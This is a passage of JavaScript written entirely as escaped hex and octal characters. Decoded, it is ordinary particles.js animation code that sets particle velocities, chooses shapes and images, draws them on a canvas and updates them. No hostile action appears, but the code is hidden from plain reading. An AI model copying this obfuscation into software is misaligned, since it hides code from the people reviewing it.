x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x79\x3a\40\x31\xa\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x7d\73\xa\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x62\x72\145\x61\x6b\x3b\xa\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\143\141\163\145\40\x27\x62\x6f\164\164\x6f\155\x2d\x6c\x65\146\164\x27\72\xa\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\40\166\x65\154\142\141\x73\x65\40\75\40\173\xa\40\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x78\72\x20\x2d\60\56\x35\54\12\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\x79\x3a\40\x31\xa\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\x7d\x3b\12\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\40\142\162\x65\141\x6b\73\12\x20\x20\40\40\40\40\x20\40\40\40\x20\40\143\141\x73\145\40\47\x6c\x65\x66\164\x27\x3a\12\40\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\40\166\145\154\x62\141\163\145\x20\x3d\40\x7b\12\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\170\x3a\x20\x2d\61\54\xa\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\171\x3a\x20\x30\12\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x7d\x3b\xa\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x62\162\145\x61\153\73\12\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x63\x61\163\145\x20\x27\164\x6f\160\55\154\x65\x66\x74\47\x3a\xa\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x76\x65\154\x62\141\x73\x65\x20\75\x20\173\12\40\40\40\40\x20\x20\40\40\40\x20\40\40\40\x20\40\40\x20\x20\40\40\x78\72\x20\55\x30\x2e\65\54\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\x79\x3a\x20\x2d\x30\x2e\x35\xa\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x7d\73\12\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\142\x72\x65\141\x6b\73\xa\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x64\x65\146\x61\x75\x6c\164\x3a\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x76\x65\154\x62\x61\x73\145\40\x3d\x20\173\12\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\170\72\40\x30\54\12\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\171\x3a\x20\60\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x7d\73\xa\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x62\162\145\141\153\12\x20\40\x20\x20\x20\x20\x20\40\x7d\xa\40\40\40\x20\40\x20\40\40\x69\146\x20\x28\x70\x4a\123\x2e\160\141\162\164\151\143\x6c\145\163\56\155\x6f\166\145\56\163\164\162\141\x69\x67\x68\164\51\40\173\xa\x20\x20\40\x20\40\40\40\x20\40\40\40\40\x74\x68\151\163\x2e\166\x78\40\x3d\x20\x76\x65\x6c\142\x61\163\x65\x2e\170\73\xa\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\164\150\x69\x73\56\166\x79\x20\75\x20\166\x65\x6c\x62\141\x73\x65\56\x79\73\12\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x69\x66\x20\50\160\112\x53\x2e\x70\x61\x72\x74\151\x63\x6c\x65\163\56\x6d\157\x76\x65\56\162\141\156\x64\x6f\x6d\x29\x20\173\12\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\x74\150\151\163\56\x76\170\40\75\x20\164\x68\151\163\56\x76\x78\40\x2a\x20\50\115\141\164\x68\x2e\x72\x61\156\x64\x6f\155\50\x29\51\x3b\12\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\164\150\x69\163\x2e\166\x79\40\75\x20\x74\x68\x69\163\56\166\171\x20\52\40\x28\x4d\x61\x74\150\x2e\162\x61\x6e\144\x6f\155\50\x29\51\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x7d\12\x20\40\40\x20\x20\x20\x20\x20\175\40\145\154\x73\145\x20\173\xa\x20\40\40\40\40\x20\x20\40\40\x20\x20\x20\164\150\x69\163\x2e\166\170\40\75\x20\166\x65\154\x62\x61\x73\145\x2e\x78\x20\53\x20\115\x61\x74\x68\x2e\x72\x61\156\144\157\x6d\50\x29\x20\55\x20\x30\x2e\x35\73\12\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x74\150\151\163\x2e\x76\x79\x20\75\x20\x76\145\x6c\142\141\x73\x65\x2e\x79\x20\x2b\x20\115\x61\x74\x68\x2e\162\x61\x6e\144\x6f\x6d\50\x29\x20\55\x20\x30\56\x35\xa\x20\x20\40\40\40\40\40\x20\175\12\x20\x20\x20\40\40\40\40\x20\164\150\151\x73\x2e\166\x78\x5f\x69\40\x3d\x20\x74\150\x69\x73\x2e\166\x78\x3b\12\x20\40\x20\x20\40\40\40\40\x74\x68\151\x73\x2e\x76\x79\x5f\x69\x20\75\40\x74\150\x69\x73\56\x76\x79\73\12\40\40\x20\40\x20\x20\40\x20\x76\x61\x72\x20\x73\x68\141\x70\x65\137\164\171\x70\x65\x20\x3d\40\x70\112\x53\56\160\141\x72\x74\151\x63\x6c\x65\x73\x2e\x73\150\x61\160\145\x2e\x74\x79\x70\x65\x3b\xa\x20\x20\40\x20\x20\x20\40\x20\151\x66\x20\x28\x74\171\160\145\x6f\146\x28\x73\x68\x61\160\145\137\x74\171\160\145\x29\40\75\x3d\40\47\157\x62\152\x65\143\164\47\51\40\173\xa\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x69\x66\x20\x28\x73\150\x61\160\145\137\x74\171\x70\145\x20\x69\156\x73\164\141\156\x63\x65\157\x66\40\x41\162\162\x61\171\51\40\173\12\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\166\141\x72\x20\x73\x68\x61\x70\x65\137\163\145\x6c\x65\x63\x74\x65\x64\x20\75\40\x73\150\x61\160\145\x5f\x74\x79\x70\145\x5b\115\141\164\150\56\146\x6c\157\157\x72\x28\115\x61\164\150\x2e\x72\x61\156\144\157\x6d\50\x29\x20\x2a\40\163\x68\x61\x70\145\x5f\164\171\160\x65\x2e\x6c\145\156\147\164\150\x29\135\73\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\164\150\151\163\56\x73\150\141\160\x65\x20\75\40\x73\x68\x61\x70\x65\137\163\145\154\145\x63\164\x65\144\12\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\40\175\xa\x20\x20\40\40\40\x20\40\x20\175\40\145\x6c\x73\145\x20\173\12\40\x20\40\40\40\x20\40\x20\x20\x20\x20\40\x74\x68\x69\163\56\x73\150\x61\x70\x65\x20\x3d\x20\163\x68\x61\160\x65\x5f\164\171\160\x65\xa\x20\x20\x20\x20\x20\x20\40\x20\175\xa\40\40\x20\40\x20\40\x20\40\151\x66\40\x28\164\150\x69\163\56\163\150\x61\x70\145\40\x3d\x3d\x20\x27\151\155\x61\x67\145\x27\51\40\173\12\40\40\x20\40\x20\40\40\40\40\x20\x20\x20\x76\141\x72\40\163\150\40\x3d\x20\160\x4a\123\x2e\x70\141\162\x74\x69\x63\x6c\x65\163\56\163\x68\141\160\145\73\12\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x74\150\151\163\x2e\x69\155\147\x20\75\40\x7b\xa\40\x20\x20\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x73\162\x63\x3a\40\163\150\x2e\x69\155\141\147\145\x2e\x73\162\x63\54\xa\40\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\162\x61\x74\151\x6f\72\x20\163\150\x2e\x69\x6d\141\147\145\x2e\167\151\x64\x74\150\x20\57\40\163\150\x2e\151\155\141\x67\x65\x2e\150\x65\x69\147\150\x74\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\175\xa\40\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x69\146\40\50\41\164\x68\x69\163\x2e\x69\x6d\x67\56\x72\141\164\x69\157\x29\40\164\x68\151\x73\x2e\151\x6d\147\56\x72\x61\164\151\157\40\75\x20\x31\x3b\xa\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\151\x66\x20\x28\x70\112\x53\x2e\x74\x6d\x70\56\151\155\147\137\x74\x79\160\x65\40\75\x3d\40\47\163\166\x67\47\x20\46\46\x20\x70\x4a\123\56\164\155\x70\x2e\x73\157\x75\162\143\145\x5f\x73\x76\x67\x20\x21\x3d\40\x75\156\x64\145\x66\x69\156\x65\x64\x29\40\x7b\12\40\40\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x70\x4a\x53\56\x66\x6e\56\x76\x65\156\x64\157\x72\x73\56\x63\x72\x65\141\164\145\x53\x76\x67\111\155\147\x28\x74\x68\151\163\x29\73\xa\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\151\146\40\x28\x70\112\123\x2e\164\x6d\160\x2e\x70\x75\163\150\x69\156\147\x29\x20\x7b\12\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\x74\x68\151\x73\56\x69\x6d\x67\56\154\x6f\141\x64\145\x64\40\x3d\x20\41\x31\12\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\175\xa\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\175\xa\x20\40\40\x20\x20\40\40\40\x7d\xa\40\40\40\40\175\x3b\12\40\x20\x20\40\160\112\x53\56\x66\156\x2e\160\141\x72\x74\151\143\x6c\145\56\x70\162\x6f\164\x6f\164\171\160\x65\x2e\144\162\141\x77\40\x3d\x20\146\165\156\143\x74\151\157\156\x28\x29\40\173\xa\x20\40\40\40\40\x20\40\x20\x76\141\x72\40\x70\40\x3d\x20\x74\150\x69\163\73\12\40\40\40\x20\x20\40\40\x20\x69\146\40\x28\160\56\x72\141\x64\151\165\163\137\x62\165\142\142\x6c\145\x20\41\x3d\40\x75\156\144\145\146\151\156\x65\x64\51\40\x7b\xa\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\166\x61\162\40\162\141\x64\x69\x75\x73\x20\x3d\x20\x70\x2e\162\x61\144\x69\x75\x73\x5f\x62\x75\142\x62\x6c\x65\xa\40\x20\40\40\x20\40\x20\x20\175\40\x65\x6c\x73\145\40\x7b\xa\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\166\x61\162\40\162\141\x64\151\165\163\40\x3d\x20\160\56\x72\x61\x64\151\165\x73\12\x20\x20\40\x20\x20\40\x20\x20\175\xa\x20\x20\40\40\x20\x20\x20\x20\151\x66\x20\x28\x70\56\x6f\x70\141\143\x69\164\x79\x5f\142\165\x62\x62\154\145\x20\x21\x3d\40\165\156\x64\x65\x66\151\x6e\x65\144\x29\x20\173\xa\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\166\141\x72\40\x6f\160\141\x63\x69\x74\x79\x20\x3d\x20\x70\56\x6f\x70\141\143\x69\x74\x79\137\x62\165\142\142\154\x65\xa\x20\x20\x20\40\x20\40\40\40\175\x20\145\154\163\145\x20\x7b\xa\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x76\141\x72\x20\x6f\160\x61\x63\151\164\x79\40\75\40\160\x2e\157\x70\x61\x63\x69\164\x79\12\x20\40\40\40\40\x20\40\x20\175\xa\40\40\40\x20\40\40\x20\x20\151\146\x20\50\x70\x2e\143\x6f\x6c\157\x72\x2e\x72\x67\x62\x29\x20\x7b\12\x20\40\40\40\x20\40\x20\40\40\x20\40\40\166\x61\x72\40\143\x6f\x6c\157\x72\x5f\x76\x61\154\x75\145\x20\75\x20\47\162\x67\142\141\x28\x27\x20\x2b\x20\x70\56\x63\x6f\154\x6f\162\56\162\147\x62\56\x72\x20\x2b\x20\x27\54\47\x20\53\x20\x70\x2e\x63\157\154\157\x72\x2e\x72\147\142\x2e\x67\x20\x2b\x20\x27\x2c\x27\x20\53\x20\160\56\143\157\154\x6f\162\x2e\x72\x67\142\x2e\x62\40\x2b\x20\47\x2c\47\x20\53\40\x6f\160\x61\x63\151\x74\171\40\x2b\x20\47\x29\47\xa\40\40\40\40\x20\40\40\40\175\x20\x65\x6c\x73\145\40\x7b\12\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x76\x61\162\x20\143\x6f\154\x6f\x72\x5f\x76\x61\x6c\165\x65\40\75\x20\47\150\163\154\x61\50\x27\40\53\40\x70\56\143\157\154\x6f\x72\x2e\150\163\x6c\56\150\40\x2b\x20\47\x2c\47\x20\x2b\x20\160\56\143\157\x6c\157\x72\56\150\163\154\x2e\x73\x20\x2b\x20\x27\45\x2c\x27\x20\53\40\160\56\143\x6f\154\x6f\x72\56\150\x73\x6c\x2e\154\40\53\x20\x27\45\54\x27\40\53\x20\x6f\160\x61\x63\151\x74\x79\x20\x2b\40\47\x29\x27\12\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\40\x20\x20\40\x20\x20\x20\x70\x4a\123\56\x63\141\x6e\x76\x61\163\x2e\x63\164\x78\56\146\151\x6c\x6c\123\x74\x79\x6c\145\x20\x3d\40\143\157\x6c\157\162\x5f\166\141\154\165\x65\73\xa\x20\40\40\40\x20\x20\40\x20\x70\x4a\x53\56\x63\141\x6e\x76\x61\163\56\x63\164\170\56\x62\145\147\151\x6e\x50\141\164\x68\50\51\73\xa\x20\40\40\x20\40\x20\x20\40\x73\167\x69\164\143\x68\x20\x28\x70\56\163\x68\141\160\x65\x29\x20\173\xa\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x63\x61\163\145\x20\x27\x63\x69\162\143\154\x65\47\72\xa\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\x70\112\x53\56\143\x61\156\166\141\x73\56\143\164\x78\x2e\x61\162\143\50\x70\56\170\54\x20\x70\x2e\x79\54\x20\x72\141\144\151\165\163\x2c\40\60\54\x20\115\141\x74\x68\56\120\x49\40\x2a\x20\x32\54\40\x21\61\51\73\12\40\40\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\40\142\x72\x65\141\153\x3b\xa\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x63\x61\x73\145\40\47\145\144\147\145\47\72\12\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x70\x4a\x53\56\x63\141\x6e\166\x61\163\56\143\164\x78\56\x72\x65\x63\164\x28\x70\56\x78\40\x2d\40\162\x61\x64\151\x75\x73\x2c\40\x70\56\x79\x20\x2d\40\162\x61\x64\x69\165\x73\54\40\x72\x61\144\x69\x75\163\x20\52\x20\x32\54\x20\162\x61\144\151\165\163\40\x2a\x20\x32\51\x3b\12\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x62\162\145\141\153\73\12\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\143\x61\x73\145\x20\47\x74\162\151\141\x6e\147\154\145\47\72\12\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\40\x70\112\x53\56\x66\x6e\x2e\166\x65\156\x64\157\x72\x73\56\144\x72\141\167\123\150\x61\x70\x65\50\x70\x4a\x53\56\x63\x61\x6e\166\x61\163\x2e\143\x74\x78\x2c\40\160\56\170\40\55\40\162\141\144\x69\165\x73\54\x20\x70\56\x79\x20\53\x20\162\x61\144\x69\x75\x73\40\x2f\x20\61\x2e\x36\66\54\40\x72\141\144\151\165\163\40\52\x20\x32\54\x20\63\54\x20\62\x29\73\12\x20\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x62\x72\145\x61\153\73\xa\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x63\141\x73\145\x20\47\x70\x6f\x6c\x79\x67\157\x6e\x27\72\12\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\160\112\x53\x2e\146\x6e\x2e\x76\x65\156\x64\157\162\x73\x2e\x64\x72\141\167\123\x68\141\160\145\x28\160\x4a\123\x2e\143\141\156\x76\x61\x73\56\x63\164\170\54\x20\160\x2e\170\x20\x2d\40\x72\x61\144\x69\x75\163\40\57\x20\50\x70\112\x53\56\x70\141\162\x74\x69\143\154\x65\163\x2e\x73\150\x61\x70\x65\56\x70\x6f\154\x79\x67\157\x6e\x2e\156\142\137\x73\151\x64\145\163\x20\57\40\x33\x2e\65\x29\x2c\40\x70\56\x79\x20\55\x20\162\x61\144\151\x75\x73\x20\57\40\x28\62\56\x36\66\x20\x2f\x20\x33\x2e\x35\x29\54\40\x72\141\x64\151\x75\163\x20\x2a\40\x32\56\66\x36\x20\57\40\x28\x70\x4a\x53\56\160\x61\x72\164\151\143\154\x65\x73\x2e\x73\x68\x61\x70\145\x2e\x70\157\154\x79\x67\157\156\x2e\156\x62\137\x73\x69\x64\145\x73\40\57\x20\63\x29\x2c\x20\x70\x4a\123\56\160\141\x72\164\151\143\154\145\x73\x2e\x73\x68\x61\160\145\56\x70\157\x6c\x79\147\x6f\x6e\56\x6e\x62\137\x73\x69\x64\x65\163\x2c\x20\x31\x29\x3b\12\40\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\x20\142\x72\x65\x61\153\x3b\xa\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x63\x61\163\x65\40\x27\x73\164\x61\x72\x27\72\12\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\160\x4a\123\x2e\x66\156\x2e\166\x65\x6e\x64\157\x72\x73\x2e\x64\x72\141\167\x53\150\x61\x70\145\x28\160\x4a\123\56\143\141\156\x76\x61\163\x2e\x63\164\170\x2c\40\160\56\x78\x20\55\40\162\141\144\151\x75\x73\x20\x2a\40\62\x20\57\40\50\160\112\x53\56\x70\141\162\x74\151\x63\154\145\x73\56\x73\x68\141\160\x65\56\160\x6f\x6c\x79\147\157\156\x2e\x6e\x62\x5f\163\151\x64\145\163\40\57\40\x34\x29\x2c\x20\x70\x2e\171\x20\x2d\x20\x72\x61\x64\151\x75\x73\40\x2f\40\50\62\40\52\40\x32\x2e\66\x36\x20\57\40\x33\56\65\51\x2c\x20\162\141\x64\x69\x75\163\40\52\x20\62\40\x2a\40\62\x2e\x36\x36\x20\57\40\50\160\x4a\x53\56\x70\141\x72\x74\x69\143\154\145\163\x2e\163\150\141\160\x65\56\160\157\x6c\171\x67\157\x6e\x2e\156\x62\x5f\163\x69\144\x65\163\40\x2f\x20\x33\x29\x2c\40\x70\x4a\x53\x2e\x70\x61\x72\164\151\x63\x6c\x65\163\x2e\163\x68\x61\x70\145\x2e\160\x6f\154\171\x67\x6f\156\56\156\142\137\x73\151\x64\145\163\54\40\62\51\x3b\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\142\x72\x65\141\153\73\xa\40\x20\x20\40\40\40\40\40\40\40\40\x20\x63\141\x73\145\40\47\151\x6d\141\147\145\47\x3a\12\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x66\165\156\x63\x74\x69\x6f\156\40\x64\162\141\167\50\x29\x20\173\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\160\x4a\123\56\x63\141\x6e\x76\141\163\x2e\x63\x74\x78\x2e\x64\162\141\x77\111\x6d\141\147\145\50\x69\155\147\137\x6f\x62\152\54\40\x70\x2e\170\40\x2d\x20\162\x61\x64\151\165\x73\x2c\x20\x70\56\x79\x20\55\x20\x72\x61\x64\x69\x75\163\54\x20\162\141\144\151\x75\163\x20\x2a\x20\62\x2c\40\162\x61\x64\151\x75\x73\x20\x2a\x20\62\40\57\x20\x70\56\x69\155\147\56\x72\141\164\x69\157\51\xa\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\40\x7d\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\x69\146\40\50\160\112\123\56\x74\x6d\160\x2e\x69\x6d\x67\x5f\164\171\160\145\x20\75\75\x20\x27\x73\x76\147\x27\x29\x20\x7b\12\40\40\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x76\141\x72\x20\151\155\147\137\157\x62\152\40\75\40\x70\x2e\151\x6d\x67\56\x6f\142\x6a\xa\40\40\40\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\x7d\x20\145\154\163\145\40\x7b\12\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\40\40\x20\166\x61\162\x20\x69\155\147\x5f\x6f\142\152\x20\75\40\x70\x4a\x53\x2e\164\x6d\160\x2e\x69\x6d\x67\x5f\x6f\x62\152\xa\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x7d\12\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\40\x20\151\x66\x20\50\151\155\x67\x5f\157\142\152\x29\40\x7b\12\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\144\162\141\x77\x28\x29\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\175\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\x62\162\x65\141\x6b\xa\40\x20\40\40\40\x20\40\40\x7d\12\40\40\40\40\40\40\40\40\x70\112\x53\x2e\143\141\156\166\141\x73\56\143\x74\x78\x2e\x63\154\157\163\x65\x50\x61\164\150\50\x29\x3b\12\40\40\40\40\40\40\x20\40\151\x66\x20\50\x70\112\123\56\160\x61\162\164\x69\x63\154\145\163\x2e\x73\150\x61\160\145\56\x73\x74\x72\157\153\145\x2e\167\151\144\164\150\x20\x3e\40\60\51\x20\x7b\xa\x20\40\40\40\40\40\40\40\x20\40\40\x20\160\x4a\x53\x2e\143\141\x6e\x76\141\x73\x2e\x63\x74\x78\x2e\163\x74\x72\x6f\153\x65\x53\x74\171\154\145\x20\x3d\x20\160\x4a\x53\x2e\160\x61\162\x74\151\143\x6c\145\163\56\x73\x68\141\x70\145\x2e\163\164\162\157\153\x65\x2e\x63\157\154\x6f\162\x3b\xa\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\160\112\123\x2e\143\x61\156\166\x61\163\56\x63\x74\170\x2e\154\x69\156\145\x57\151\144\164\x68\40\75\40\x70\112\x53\56\x70\x61\x72\164\151\143\x6c\145\x73\x2e\x73\150\x61\x70\145\x2e\x73\x74\x72\x6f\153\x65\x2e\167\151\x64\164\x68\73\12\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\160\x4a\x53\56\143\x61\x6e\x76\141\x73\x2e\x63\x74\170\56\x73\x74\162\x6f\x6b\145\x28\x29\12\x20\40\x20\40\40\x20\40\40\x7d\xa\x20\40\40\40\x20\x20\40\x20\160\x4a\x53\56\x63\x61\x6e\x76\141\163\56\x63\x74\170\56\x66\x69\x6c\x6c\x28\x29\xa\x20\40\40\40\175\73\12\40\x20\40\40\160\x4a\123\56\146\x6e\56\x70\141\162\164\151\x63\154\145\163\x43\162\x65\141\164\145\40\75\40\146\x75\156\x63\164\x69\x6f\156\x28\51\x20\173\12\40\x20\40\40\x20\x20\40\x20\146\x6f\x72\x20\50\166\141\162\x20\x69\x20\x3d\x20\60\x3b\x20\x69\40\x3c\x20\160\x4a\x53\x2e\x70\141\x72\x74\151\143\x6c\x65\x73\x2e\156\165\x6d\x62\145\x72\x2e\x76\x61\x6c\165\145\x3b\40\x69\53\53\x29\40\x7b\xa\40\x20\40\x20\40\40\40\40\x20\x20\x20\40\160\112\123\56\160\x61\162\x74\x69\x63\x6c\145\163\x2e\141\x72\x72\x61\171\56\160\x75\163\x68\50\x6e\145\167\40\160\112\x53\x2e\146\x6e\56\160\141\x72\164\151\143\x6c\x65\x28\160\x4a\x53\56\x70\141\x72\164\x69\x63\154\x65\163\x2e\x63\x6f\154\x6f\162\x2c\40\x70\x4a\x53\x2e\x70\x61\x72\164\x69\143\x6c\145\163\x2e\157\x70\141\143\151\x74\x79\x2e\166\141\154\x75\x65\51\x29\xa\40\x20\x20\x20\40\x20\40\x20\175\12\40\x20\40\40\175\x3b\xa\40\x20\x20\40\160\x4a\x53\x2e\146\156\x2e\160\x61\162\164\x69\x63\x6c\145\x73\125\160\144\141\164\145\40\75\40\146\x75\x6e\143\x74\151\157\156\x28\51\40\173\xa\40\40\x20\x20\40\40\40\40\x66\157\162\x20\50\x76\141\162\x20\151\x20\x3d\x20\x30\x3b\40\151\x20\x3c\40\x70\x4a\123\56\160\x61\x72\164\x69\143\x6c\145\163\56\141\x72\x72\141\x79\56\154\x65\x6e\147\164\x68\x3b\x20\x69\53\53\51\x20\173\12\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x76\x61\162\x20\x70\40\x3d\x20\x70\112\123\56\x70\x61\x72\164\151\143\154\x65\x73\56\141\162\162\x61\x79\x5b\x69\x5d\73\xa\40\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\x69\x66\x20\x28\x70\x4a\x53\56\x70\141\x72\x74\151\143\x6c\145\163\x2e\x6d\157\166\145\x2e\145\156\141\142\x6c\145\51\40\173\xa\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\166\141\x72\40\155\x73\x20\x3d\x20\160\x4a\123\56\x70\141\x72\164\x69\x63\x6c\x65\x73\56\155\157\166\145\x2e\x73\x70\x65\145\144\x20\57\x20\62\73\12\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x70\56\170\40\53\x3d\x20\160\56\x76\x78\40\x2a\x20\155\x73\73\xa\x20\x20\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\x70\56\171\x20\53\75\x20\160\56\166\x79\40\52\40\x6d\x73\12\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\175\xa\40\40\x20\40\x20\x20\40\40\x20\x20\40\x20\151\x66\40\50\x70\112\x53\x2e\160\141\x72\x74\151\x63\x6c\x65\x73\x2e\x6f\160\x61\143\x69\x74\x79\56\141\x6e\151\x6d\x2e\145\x6e\x61\142\x6c\145\51\40\x7b\12\40\x20\40\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x69\146\40\x28\x70\x2e\x6f\160\141\143\x69\164\x79\137\163\164\x61\x74\x75\163\x20\x3d\x3d\x20\x21\x30\51\x20\173\xa\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x69\x66\40\50\x70\x2e\x6f\160\x61\143\x69\164\x79\x20\76\75\x20\x70\x4a\123\x2e\x70\141\162\x74\151\x63\154\x65\x73\56\x6f\160\141\143\151\x74\x79\x2e\166\141\154\165\x65\x29\x20\160\x2e\x6f\160\x61\143\151\x74\x79\x5f\163\x74\141\164\x75\x73\x20\x3d\x20\41\x31\x3b\12\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x70\x2e\x6f\160\141\143\151\x74\x79\x20\x2b\x3d\x20\x70\x2e\166\x6f\12\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\175\x20\145\154\163\x65\40\x7b\12\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\151\146\x20\x28\x70\x2e\x6f\160\141\x63\x69\x74\x79\x20\x3c\x3d\x20\160\x4a\123\56\160\141\x72\x74\151\x63\x6c\145\163\x2e\157\160\x61\x63\151\x74\171\56\x61\156\151\x6d\x2e\157\x70\x61\143\x69\164\171\137\x6d\151\156\x29\x20\160\56\157\160\141\143\x69\x74\x79\137\x73\164\x61\164\x75\x73\40\x3d\x20\x21\60\73\xa\x20\40\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\x70\56\x6f\x70\x61\x63\151\164\x79\40\x2d\75\x20\160\x2e\x76\157\12\40\x20\x20\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\175\12\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\40\151\x66\40\50\x70\x2e\x6f\x70\x61\x63\x69\x74\171\40\x3c\40\60\x29\x20\160\x2e\157\160\x61\x63\x69\164\171\x20\75\x20\x30\12\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\x7d\12\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\151\146\40\x28\160\112\x53\x2e\160\141\162\164\x69\x63\154\x65\163\x2e\x73\x69\x7a\x65\56\x61\156\151\155\x2e\145\x6e\141\x62\154\x65\x29\x20\x7b\xa\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\146\x20\x28\x70\x2e\163\x69\172\145\137\x73\x74\141\164\x75\163\x20\75\75\40\x21\x30\51\40\173\12\40\x20\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\4